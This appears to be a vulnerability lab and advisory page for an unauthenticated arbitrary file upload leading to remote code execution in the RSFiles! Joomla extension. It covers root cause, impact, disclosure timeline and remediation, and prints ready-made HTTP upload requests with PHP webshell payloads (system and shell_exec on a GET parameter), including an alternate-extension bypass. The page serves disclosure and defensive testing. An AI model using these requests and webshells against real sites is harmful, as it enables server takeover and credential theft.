VT-2026-57827

RSFiles! for Joomla - Unauthenticated Arbitrary File Upload to RCE (CVE-2026-57827)

CRITICAL 9.8CVEcve-2026cve-2026-57827rcefile-upload

Run this lab

$vt start --id vt-2026-57827

Lab not starting or behaving wrong? Report a problem with this lab

Summary

RSFiles! (com_rsfiles) is a commercial Joomla file and download manager by RSJoomla. Versions prior to 1.17.12 contain CVE-2026-57827, an unauthenticated arbitrary file upload vulnerability in the frontend upload endpoint.

  • The vulnerability exists because the upload logic is split across two tasks:
  • - rsfiles.checkupload: pre-flight check with permission gate and extension allow-list
  • - rsfiles.upload: the write method with NO auth, NO CSRF, and NO file type check

An attacker can call rsfiles.upload directly, bypassing the security checks, and upload a .php file to the web-accessible downloads/ directory, achieving unauthenticated remote code execution.

Note: This lab uses a SIMULATED RSFiles! endpoint since the extension is commercial. The endpoint and vulnerability behavior are identical.

Technical detail

Root Cause: RSFiles! splits upload across two frontend tasks managed by /components/com_rsfiles/controllers/rsfiles.php: 1. rsfiles.checkupload (pre-flight): - Checks user permissions (auth) - Validates file extensions against allow-list - Does NOT write the file 2. rsfiles.upload (write): - Accepts file upload via $_FILES - Writes directly to downloads/ directory - NO authentication check - NO CSRF token validation - NO file extension / MIME type validation - Calls Joomla's bundled upload handler with default settings The rsfiles.upload task can be called directly via HTTP, skipping the rsfiles.checkupload pre-flight entirely. The controller has no site-wide authentication gate and no CSRF token requirement. By default: - The downloads/ folder is inside the web root - No .htaccess protection is applied (opt-in admin setting) - PHP execution is enabled in the downloads/ directory Attack Flow: 1. Attacker sends POST /index.php?option=com_rsfiles&task=rsfiles.upload 2. Multipart form contains a .php file (shell, backdoor, etc.) 3. Controller writes file to /downloads/<filename>.php 4. Attacker requests /downloads/<filename>.php directly 5. PHP code executes on the server

Impact

Critical - Unauthenticated Remote Code Execution (RCE).

  • - Upload and execute arbitrary PHP code on the Joomla server
  • - Read Joomla configuration.php containing database credentials
  • - Create hidden Joomla Super User accounts
  • - Plant persistent backdoors in the web root
  • - Pivot to other sites on shared hosting
  • - Add server to botnet or spam network
  • - Full server compromise with the privileges of the web server user

Exploitation & proof of concept

Unauthenticated File Upload via rsfiles.upload Task

POST/index.phpparam=file (multipart)unauthenticated

EXPLOITATION STEPS
  1. 1. Upload PHP file via POST /index.php?option=com_rsfiles&task=rsfiles.upload
  2. 2. Execute uploaded PHP via GET /downloads/<filename>.php
  3. 3. Full RCE achieved without authentication
REQUEST
POST /index.php?option=com_rsfiles&task=rsfiles.upload HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php

<?php echo 'VULN-CVE-2026-57827'; ?>
------WebKitFormBoundary--
RESPONSE
HTTP/1.1 200 OK
Content-Type: application/json

{"status":"success","message":"File uploaded successfully","url":"\/downloads\/shell.php"}
PAYLOADS
PHP webshell: Full interactive webshell
<?php system($_GET["cmd"]); ?>
Detection probe: Non-destructive vulnerability verification
<?php echo "VULN-CVE-2026-57827"; ?>
INDICATORS
"status":"success""url":"/downloads/Access Denied403 ForbiddenInvalid tokenauthentication required

Bypass Pre-Flight Check via Direct Upload

POST/index.phpparam=file (multipart)

REQUEST
POST /index.php?option=com_rsfiles&task=rsfiles.upload HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="evil.php5"
Content-Type: application/x-php

<?php echo shell_exec($_GET["e"]); ?>
------WebKitFormBoundary--
RESPONSE
HTTP/1.1 200 OK
Content-Type: application/json

{"status":"success"}

Bypasses the rsfiles.checkupload allow-list by going directly to the write endpoint. PHP files with alternate extensions (.php5, .phtml, .shtml) may also be executable depending on server configuration.

Nuclei detection: vt-2026-57827.nuclei.yaml

Disclosure timeline

  • 2026-07-09mySites.guru discovers the vulnerability during source code audit
  • 2026-07-10Privately disclosed to RSJoomla; vendor ships fix (1.17.12) same day
  • 2026-07-11CVE-2026-57827 assigned, crediting Phil Taylor (mySites.guru)

Remediation

  • Update RSFiles! to version 1.17.12 or later immediately
  • If update is not possible: delete /components/com_rsfiles/controllers/rsfiles.php
  • Enable 'Secure download folder' and 'Secure briefcase folder' in RSFiles > Settings > Files
  • Check downloads/ and briefcase/ folders for stray .php files
  • Audit server access logs for POST requests to rsfiles.upload not preceded by rsfiles.checkupload
  • Check Joomla Users list for unauthorized Super User accounts
  • Use RSFirewall! which silently deletes .php uploads by default

Lab setup notes

  • Access the application at http://localhost:8383
  • Upload endpoint: POST /index.php?option=com_rsfiles&task=rsfiles.upload
  • Check endpoint: POST /index.php?option=com_rsfiles&task=rsfiles.checkupload
  • Uploaded files: /downloads/<filename>

References